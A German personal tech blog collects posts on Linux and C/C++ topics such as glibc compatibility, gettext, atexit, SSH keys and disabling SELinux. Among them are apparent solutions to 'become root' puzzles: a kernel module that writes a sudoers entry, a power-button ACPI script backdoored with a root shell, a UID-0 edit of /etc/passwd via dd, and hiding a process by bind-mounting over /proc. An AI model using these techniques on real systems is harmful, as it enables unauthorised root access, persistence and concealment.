…also doch ein eigenes Kernel-Modul…

Das basteln eines Kernelmoduls wollte ich verhindern, da ich mich im Kernelspace nicht wirklich auskenne und somit wohl kaum intuitiv etwas basteln kann, was auch noch das tut, was es tun soll. – Widerwillig mache ich mich an die Umsetzung:
Die Idee ist es, der Konfiguration “/etc/sudoers” eine nette Zeile hinzuzufügen. Dazu muss ich dem Modul beibringen in das aktuelle Dateisystem zu schreiben. mit “printk” ist das soweit je kein Problem; führt aber mit hoher Sicherheit nicht zu dem Erfolg, den ich mir wünschen würde. Ich muss also etwas wie “fopen” für den Kernelspace finden. Der Verbissenheit sei dank, fand ich dann – nach längerer Suche – heraus, wie man, vom Kernel aus, im Dateisystem Unfug trieben kann, indem ich einen Keyloggers auseinander nahm.

#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/fs.h>
#include <linux/string.h>
#include <asm/unistd.h>
#include <asm/uaccess.h>

#define LOG_FILE "/etc/sudoers"

static struct file *file = NULL;

void write_to_file(char *filename, char* value);

int init_module(void) {
        printk(KERN_INFO "LinuxTag - INIT\n");
        write_to_file(LOG_FILE, "\nslaukien    ALL=(ALL)       ALL\n");
        return 0;
}

void cleanup_module(void) {
        printk(KERN_INFO "LinuxTag - EXIT\n");
}

void write_to_file(char *filename, char* value) {
        mm_segment_t old_fs;
        if (!file)
                file = filp_open(filename, O_RDWR | O_APPEND | O_CREAT, 0440);
        if (IS_ERR(file)) {
                printk(KERN_ALERT "Cannot open %s\n", filename);
                return;
        }

        old_fs = get_fs();
        set_fs(KERNEL_DS);
        file->f_op->write(file, value, strlen(value), &file->f_pos);
        set_fs(old_fs);
}

Hier passiert der ganze Zauber. Wird das Modul mittels “insmod” geladen, so wird auch gleich die entsprechende Konfiguration um den Eintrag “slaukien ALL=(ALL) ALL” erweitert. Nutzt der Nutzer nun “sudo”, so nutzt er es mit root-Nutzer-Rechten. Der Befehl “sudo bash” führt dann zum erwünschten Ergebnis.

Wer Lust auf ein Makefile hat…

ifneq ($(KERNELRELEASE),)
# kbuild part of makefile
obj-m  := linuxtag.o

else
# normal makefile
KDIR ?= /lib/modules/`uname -r`/build

default:
        $(MAKE) -C $(KDIR) M=$$PWD

endif

Was in wenigen Zeilen hier zusammengefasst wurde, beschäftigte mich doch arg. Ich glaube immer noch nicht, dass meine Lösung wirklich die erwartete sein soll, aber sie funktioniert…und endlich kann ich wieder ruhig schlafen.

Nun ist es jedenfalls so, dass die Datenbankeinstellungen aus dem Konfigurationsverzeichnis importiert werden. Das Makefile wird ebenfalls automatisch generiert. – Auch hier finden sich die Konfigurationsmöglichkeiten wieder im Konfigurationsverzeichnis (cfg/chtml).
So nebenher reparierte ich noch ein paar kleinere Fehlerleinchen hier und da und…
…naja, ich probierte es aus…natürlich ohne zuvor eine Sicherung vom Projekt zu erstellen; denn schließlich sind Backups ja nur was für weinerliche Hosenscheißer!

Was soll ich sagen?! Es sah – auf den ersten Blick – sehr gut aus!
…nur warum lässt sich die Bibliothek namens “search.lib.x” nicht kompilieren? “INDEX_DIRECTORY” würde fehlen. Der gute Freund “grep” zeigte auch so gleich, dass es die Definition dieser, bis dato so unbedeutend scheinenden Meldung, wirklich nicht gibt. Nach ein bisschen Gewühl im Quelltext das “Ahha!”.
Die Projekt-Bibliothek “chtml.lib.x” ist ja ganz leer! Ja klar, muss sie ja auch, denn ich habe sie ja einfach blind überschrieben, als ich den kompletten “src”-Ordner vom CHTML-Kern kopierte. – Schön doof! – Damit ist meine zentrale Projekt-Logik flöten. :-/
Weg ist weg! …und damit so etwas nicht wieder passiert, bekam das neue Tool (build) aus dem Bereich “utility” auch gleich mal etwas mehr “Verstand”.
“chtml.lib.h” & “chtml.lib.cc” existieren nun nicht mehr als Dateien.
Da es nicht nur äußerst sinnvoll ist, eine zentrale Bibliothek zu nutzen, sondern auch noch grundlegende Philosophie von CHTML, bekommt nun “bin/utl/build” die ehrenvolle Aufgabe diese zu generieren, wenn sie noch nicht existiert. Im Falle einer Migration bzw. eines Updates existiert diese Bibliothek und sie wird nicht mehr erstellt/überschrieben.

Also alles ist gut!
…jetzt, da ich aus den Schmerzen lernen durfte.

Ach ja, bevor ich’s vergesse:
Klont man CHTML direkt von GitHup so dürfte das Bash-Sktipt “bootstrap.sh” in’s Auge fallen. Mit dem Verteilen/Auslagern der Konfiguration und dem nun implementierten Generieren der Zentralbibliothek, kann man nicht mehr einfach so losstolpern, ohne ein bisschen zu zaubern. Denn schließlich soll ja “build” das Makefile generieren, welches es bis dato ja noch gar nicht gibt; build wird aber erst mittels des Makefiles erstellt.
Also muss man sich buchstäblich erstmal an den eigenen Stiefeln aus dem Dreck ziehen, bevor’s losgehen kann.

Missing separate debuginfo for /lib64/ld-linux-x86-64.so.2
Failed to read a valid object file image from memory.

Program received signal SIGFPE, Arithmetic exception.
0x00002aaaaaab368f in do_lookup_x () from /lib64/ld-linux-x86-64.so.2

Was soll das denn nun wieder? Es scheint hier wirklich ein bisschen Arithmetik vorgenommen zu werden. Aber nicht in einer Funktion, die von mir stammt. – Schön!
Also muss da wieder mal was im C++ gezaubert worden sein… *Sputz!!!*
Mein erste Versuch besteht darin, mal ein “-static” dem Linker mitzugeben.

/usr/bin/ld: cannot find -lm
collect2: ld returned 1 exit status

Ahhhh jaaa! So läuft der Hase.
Hab’ ich auf so einen Schmutz Lust? – Nein, sicher nicht!
Also… Nächster Versuch mit einem “-static-libgcc”. Das kenn’ ich schon von dem kompilieren für die Windowsplattform; es muss also auch funktionieren, wenn ich bei Linux bleibe. …oder?!
Sieht erstmal super aus. …auf dem Zielsystem aber leider nicht… Denn hier wird offenbar eine weniger aktuelle Version von glib verwandt, was der ganzen Sache das Genick bricht.
Google sei dank fand ich folgende Aussage:
“Vergiss es! – Glib ist nur in eine Richtung kompatibel…” …und ich habe mir offenbar die falsche Richtung ausgesucht.
Die Lösung:
Mit einer alten Version kompilieren/linken!
Antwort:
Nö!

Es gibt an der Stelle einen schöneren Weg. Es handelt sich um den Parameter “-Wl,–hash-style=both”. Fügt man diesem dem “g++”-Kommando hinzu, so sehnen die Chancen erheblich besser aus. – Es wurde offenbar etwas an der ELF-hash-section gefummelt.

Mein Kommando sieht nun wie folgt aus:
g++ -O0 -Wall -static-libgcc -Wl,--hash-style=both -o bin/dwh-install src/linux.cc src/lib.cc src/replace.cc

Wichtig ist aber, dass “keine Optimierung” in Form von “-O0″ angegeben wird, da sonst alles nicht’s bringt.

Eine auf “CentOS 6.2 (4.4.6)” erstellte Binary läuft nun auch unter “SUSE Linux Enterprise Server 10 SP3 (4.1.2)”. – Freude!!!
…fast so toll, als hätt’ ich es gleich in sauberem C gemacht.

Sei es nun “ps”, “lsof”, “top” oder gar “lsso”… Das “/proc”-Verzeichnis ist gern der Quell der Information. Doof, wenn einem über diesen Weg in die Suppe gespuckt wird.
Der Trick besteht darin, den Inhalt des Verzeichnis “virtuell” zu leeren. Das lässt sich sehr bequem bewerkstelligen, indem man einfach ein (mehr oder weniger) leeres Verzeichnis darüber “mountet”.

mkdir /tmp/leer
mount --bind /tmp/leer /proc/`pidof firefox`

Das “/proc-Verzeichnis” mit der PID des Firefoxs ist nun leer und damit ist der Prozess auch “weg”.
ps ax | grep firefox | grep -v grep
Auch “top” & Co. zeigen Firefox nun nicht mehr.

Wie kommt man dem denn nun auf die Schliche? Im Prinzip muss man sich Wege suchen, die nicht auf “/proc” zurückgreifen. Handelt es sich z.B. um einen “Server”, der Netzwerktraffic verursacht, wie es z.B. bei einem klassischen Trojaner der Fall wäre, so ließe sich sicher etwas mit “netstat” ausfindig machen (netstat -tulpen). Da wir das Mount-Kommando für unsere dünsteten Zwecke missbrauchten, lässt sich auch genau dieses dazu bewegen, den Zauber zu entlarven. Mit mount bzw. cat /proc/$$/mountinfo bekommt man eine sehr detaillierte Ausgabe bei der sich (in meinem Fall) folgende Ausschrift zeigt:

39 17 8:1 /tmp/leer /proc/3138 rw,relatime - ext4 /dev/sda1 rw,barrier=1,data=ordered

Um – zu guter Letzt – dem Spuk ein Ende zu bereiten, kann man das Verzeichnis auch einfach wieder aushängen.
umount /tmp/leer

Die Lehre aus dieser Demonstration sollt sein, dass man sich mit einem kenntnisreichen Blick auf “ps” und “top” nicht all zu sicher fühlen sollte. Es findet sich immer einen Weg…

Der erste Gedanke war eigentlich der gleiche, wie der bereits beschriebene.
Eher traurig, weil’s so keinen Spaß gemacht hätte.
…also ich meine die “/etc/passwd” oder von mir aus “/etc/shadow” umzuschreiben.
Da es Spaß machen soll:
Hier und heute ein anderer Weg!
Achtung:
Versaut euch nicht den Spaß am rätseln! Versucht es erst mal selbst!!!

Die Idee ist einen sogenannten “hook” zu nutzen; einen Prozess also, der root-Rechte hat und einfach mal so andere Prozesse/Skripte aufruft. Weil ich Spaß am Spiel habe, habe ich mir mal einen besonderen, aber wenig sinnvollen gesucht.
Ich nutze dem Powerschalter, um mir eine root-Shell aufrufen zu lassen!

Es handelt sich hierbei um ein Skript, welches bei einem Event (dem Power-Knopf-Druck) ausgeführt wird. Eigentlich soll damit dieser tolle Gnome-Dialog hochkommen, der dem Nutzer die Option verspricht, den Rechner auch anderweitig schlafen legen zu können, aber wir basteln noch eine geheime Zusatzfunktion hinzu.

ll /etc/acpi/actions/power.sh
-rwxr-xr-x 1 root root 707 May 7 12:34 /etc/acpi/actions/power.sh


Da wir ein “gepimptes” chmod besitzen, welches wir mit root-Rechten ausführen dürfen, haben wir auch die Möglichkeit unser Skript umzubauen. Dazu vergeben wir erstmal Rechte, mit dem unser Normalo-Stinke-Benutzer auch Schreibrechte auf das Skript hat.

chown 500 /etc/acpi/actions/power.sh
ll /etc/acpi/actions/power.sh
-rwxr-xr-x 1 slaukien root 707 May 7 12:34 /etc/acpi/actions/power.sh


Und weil wir nun augenscheinlich die Rechte haben, machen wir auch gleich mal etwas daraus. Nämlich das Hinzufügen der Zeile /bin/bash -i >/dev/tty11 2>&1 >/dev/tty11, womit uns automatisch eine schöne root-Shell auf Konsole Nr. 11 geöffnet wird.

vi /etc/acpi/actions/power.sh


#!/bin/sh

PATH=/sbin:/bin:/usr/bin

/bin/bash -i >/dev/tty11 2>&1 >/dev/tty11 &
...

Nun wird der veränderte Eigentümer der Datei wieder auf root geändert und da war’s!

chown 0 /etc/acpi/actions/power.sh
ll /etc/acpi/actions/power.sh
-rwxr-xr-x 1 root root 707 May 7 12:34 /etc/acpi/actions/power.sh


Drückt man nun den Power-Knopf (bei Gnome), so erscheint – wie gewohnt – das tolle Menü. Unbemerkt wurde aber auch die Konsole 11 belebt. Man wechsle geschwind mit “Strg+Alt+11″ auf die Konsole und vollführe dort seinen Schabernack!
…natürlich nur zu Lehrzwecken und auf der eigenen LinuxBox!!!

ACHTUNG:
Will man sich für den LinuxTag qualifizieren, sollte man schon allein drauf kommen. – Anderenfalls dürfte man sich spätestens mit Publikum schwer zum Affen machen.
Nehmt euch nicht den Spaß am knobeln; nutzt diese kleine, dumme Anleitung nur, wenn ihr selbst wirklich nicht drauf kommt.

Ich las, vor einigen Tagen, etwas von der Aufgabe “Mittels des Befehls ‘dd’ root werden…”. So richtig ließ mir das keine Ruhe; gestern durchstöberte ich Google nach ein paar Ideen. – Keine Antwort! So las ich mir noch mal die Aufgabe richtig durch:
Man kann “dd” mit root-Rechten ausführen! – Ahhhhhh! …das ist natürlich schon eine ganz andere Ausgangslage.

Mein erster Ansatz war es, einfach ein Skript in den Linux-Startprozess zu integrieren. Das ist aber ebenso unschön, wie z.B. den Cron-Daemon für seine niederen Zwecke zu missbrauchen.
Perl verweigert (leider) die SUID-Ausführung; Bash ja sowieso…
Dann muss es eben ein “sauberer” Weg sein. Sei allerdings gewarnt. – Du könntest dir damit durchaus dein System zerschießen. – Lass’ es lieber bleiben, bevor’s wütende Tränen gibt.

Ich habe mir überlegt, meinen Test-Linux-Nutzer einfach mal mit root-Rechten auszustatten.
Nutzer-Datei kopieren:
dd if=/etc/passwd of=passwd
Bearbeiten:
vi passwd
Von:

test:x:500:500::/home/test:/bin/bash

Zu:

test:x:0:0::/home/test:/bin/bash

Zurück schreiben:
dd if=passwd of=/etc/passwd

Nun kann – wie gewohnt – mit “su” der Nutzer gewechselt werden.
su - test

Password:
[root@linuxbox ~]#

id -a

uid=0(root) gid=0(root) groups=0(root)

Ich hoffe, dass ich niemandem ernsthaft mit meinem “gespoiler” auf die Füße trete. Ich finde die Idee auf mögliche Sicherheitsschwächen auf diese Art aufmerksam zu machen, sehr gut und lehrreich; wünschte mir, es gäbe mehr davon.
Sollte es dennoch jemandem nicht zusagen, dass ich hier ‘ne mögliche Lösung veröffentliche, so lasse er es mich wissen (Mailadresse im Impressum). – Ich nehme den Artikel dann wieder raus.

error: cannot convert ‘size_t*’ to ‘socklen_t*’ for argument ‘3’ to ‘int accept(int, sockaddr*, socklen_t*)’

…und dieses in der Zeile:
...socketfd = accept(listenfd, (struct sockaddr *)&cli_addr, &length)...
Das Problem findet sich doch tatsächlich darin, dass “length” von Type “size_t” ist. Ändert man diesen in “socklen_t” ist auch unter C++ alles super.

#include <stdio.h>
#include <stdlib.h>

int main() {
        printf ( "Hello world!\n" );
        exit(0);
}

Nix – dickes!

Ich passe es mal eben an und erhalte…

#include <libintl.h>
#include <locale.h>
#include <stdio.h>
#include <stdlib.h>

#define _(STRING) gettext(STRING)
int main() {
        setlocale(LC_ALL, "");
        bindtextdomain("loc", "./i18n/");
        bind_textdomain_codeset("loc", "UTF-8");
        textdomain("loc");
        printf ( _( "Hello world!\n") );
        exit(0);
}

Kurzfassung:
* Initiierung
* Bindung an einen Bezeichner
* Übersetzung und Ausgabe

Wirklich interessant ist eigentlich die Ausgabe mittels “printf”. Es wird aber nicht einfach ein String ausgegeben; zu sehen ist “_(…)”. Seht man in die obige Definition, so stellt man fest, dass “_” für “gettext” steht. – Es handelt sich also einfach um ein Funktionsaufruf.
Damit “gettext” auch weiß, was wie zu übersetzen ist, bedarf es eben dieser Übersetzungsdateien.
Ich mache es nun nicht unendlich spannend und zeige einfach eine gültige “Makefile”.

all:
        mkdir -p i18n/de_DE/LC_MESSAGES
        gcc -o loc loc.c
        xgettext --keyword=_ --language=C -d loc -s -o po/loc.pot loc.c
        msginit --locale=de --input=po/loc.pot -o po/de.po
        vi po/de.po
        msgfmt -c -v -o i18n/de_DE/LC_MESSAGES/loc.mo po/de.po

install:
        cp i18n/de_DE/LC_MESSAGES/loc.mo /usr/share/locale/de_DE/LC_MESSAGES/loc.mo

test:
        export LANG=de_DE; ./loc

Mit “xgettext” werden die zu übersetzenden Strings aus der C-Quelldatei extrahiert und als Template gespeichert. Dieses kann seinerseits als Quelle für die eigentlichen Übersetzungsdateien herhalten.
Mit “msginit” wird eine Ebensolche erstellt werden. In dieser kann die Übersetzung vorgenommen werden.
Damit haben wir das C-Programm, dessen Stringausgaben sinnvollerweise in einfachem englisch gehalten sind und der Übersetzungsdatei in “de_DE”.
Bevor’s aber so richtig losgehen kann, muss die po-Datei in eine mo-Datei übersetzt werden.
Mit “msgfmt” isr dies schnell erledigt. die mo-Datei sollte eigentlich unter “/usr/share/locale/de_DE/LC_MESSAGES” liegen; wir wollen unsere Übersetzungen aber mal exemplarisch lokal in unserem Projekt-Ordner halten (i18n). Die mo-Datei sollte dem festgelegten Namen “loc” entsprechen.

Wenn nun die Systemsprache der der Übersetzungsdatei entspricht, so zeigt sich statt “Hello world!” ein frisches “Hallo Welt!”.

So, und nun entspanne ich mich. Denn morgen geht die Arbeitswoche wieder los und da muss ich wieder Leistung bringen.

#include <iostream>
#include <cstdlib>

using namespace std;

class Atexit {
        public:
                Atexit();
                ~Atexit();
};

Atexit::Atexit() {
        cout << "Constructor" << endl;
}

Atexit::~Atexit() {
        cout << "Destructor" << endl;
}

Atexit *ate;
int main() {
        ate = new Atexit();
        cout << "Main" << endl;
        exit(1);
        delete ate;
}

g++ -o atexit atexit.cc && valgrind --leak-check=full atexit

==21170== Memcheck, a memory error detector
==21170== Copyright (C) 2002-2010, and GNU GPL'd, by Julian Seward et al.
==21170== Using Valgrind-3.6.0 and LibVEX; rerun with -h for copyright info
==21170== Command: atexit
==21170==
Constructor
Main
==21170==
==21170== HEAP SUMMARY:
==21170==     in use at exit: 1 bytes in 1 blocks
==21170==   total heap usage: 1 allocs, 0 frees, 1 bytes allocated
==21170==
==21170== LEAK SUMMARY:
==21170==    definitely lost: 0 bytes in 0 blocks
==21170==    indirectly lost: 0 bytes in 0 blocks
==21170==      possibly lost: 0 bytes in 0 blocks
==21170==    still reachable: 1 bytes in 1 blocks
==21170==         suppressed: 0 bytes in 0 blocks
==21170== Reachable blocks (those to which a pointer was found) are not shown.
==21170== To see them, rerun with: --leak-check=full --show-reachable=yes
==21170==
==21170== For counts of detected and suppressed errors, rerun with: -v
==21170== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 6 from 6)

Wie man sieht, werden der “Constructor” und “Main” aufgerufen. Nach dem “exit” passiert hier wirklich “nichts” mehr. Unser kleines Programm bricht ab und der “Destructor” bleibt völlig unberührt. Das kann unter Umständen problematisch sein. Exemplarisch sei hier die Reservierung von Heap-Speicher aufgeführt. Dieser wird zwar wieder freigegeben, sobald das Betriebssystem wieder die Kontrolle übernimmt. Doof ist es, wenn Datenbank, Netztwerkverbindungen oder gar Lock-Prozesse offen bleiben.
Das Problem ist also, dass der Destructor nicht unbedingt ausgeführt wird.

Da es sich tatsächlich um ein echtes Problem handelt gibt es den Befehl “atexit”, der es erlaubt Funktionen auf einen Stack zu legen, die, der Reihe nach, abgearbeitet werden, bevor das Programm wirklich beendet wird.
Um dem Problem Herr zu werden, könnte unser kleines Testprogramm wie folgt angepasst werden.

#include <iostream>
#include <cstdlib>

using namespace std;

class Atexit {
        public:
                Atexit();
                ~Atexit();
};

Atexit::Atexit() {
        cout << "Constructor" << endl;
}

Atexit::~Atexit() {
        cout << "Destructor" << endl;
}

Atexit *ate;

void c() {
        ate = new Atexit();
}

void d() {
        if (ate == NULL) return;
        delete ate;
        ate = NULL;
}

int main() {
        c();
        cout << "Main" << endl;
        atexit(d);
        exit(1);
        d();
}

g++ -o atexit atexit.cc && valgrind --leak-check=full atexit

==21123== Memcheck, a memory error detector
==21123== Copyright (C) 2002-2010, and GNU GPL'd, by Julian Seward et al.
==21123== Using Valgrind-3.6.0 and LibVEX; rerun with -h for copyright info
==21123== Command: atexit
==21123==
Constructor
Main
Destructor
==21123==
==21123== HEAP SUMMARY:
==21123==     in use at exit: 0 bytes in 0 blocks
==21123==   total heap usage: 1 allocs, 1 frees, 1 bytes allocated
==21123==
==21123== All heap blocks were freed -- no leaks are possible
==21123==
==21123== For counts of detected and suppressed errors, rerun with: -v
==21123== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 6 from 6)

Wie man unschwer erkennen kann, wird nun auch der Destructor aufgerufen. Damit wird nun auch der Heap-Speicher und somit unserer gebundenen Ressourcen, wieder freigegeben.

restorecon reset /root/.ssh context unconfined_u:object_r:admin_home_t:s0->unconfined_u:object_r:ssh_home_t:s0
restorecon reset /root/.ssh/authorized_keys context unconfined_u:object_r:admin_home_t:s0->unconfined_u:object_r:ssh_home_t:s0

Das funktioniert nun erst mal für den Root-Nutzer.
…für einen Nutzer, der vielleicht nicht gerade in seinem, vom System vordefinierten, Home liegt, klappt das aber nicht.
Der Grund ist das “Stinke-SELinux”. Schaltet man den “Krampf” ab, so hat man wieder ein Linux, das auch das tut, was es tun soll.
vi SELINUX=disabled

/etc/sysconfig/selinux

reboot

…und ja, ich weiß:
Funktionalität kostet Sicherheit!
Das Maß an Sicherheit verschenke ich aber gern, da SELinux echter Crap ist. Es muss ja nicht per Maus auf einer quietsche-bunten Oberfläche administrierbar sein, aber ein bisschen weniger kryptische Konfigurationen würden vielleicht auch dafür sorgen, dass es weniger Fehlkonfigurationen gibt. …erst dann kann man wirklich von einem Gewinn an Sicherheit sprechen, oder!?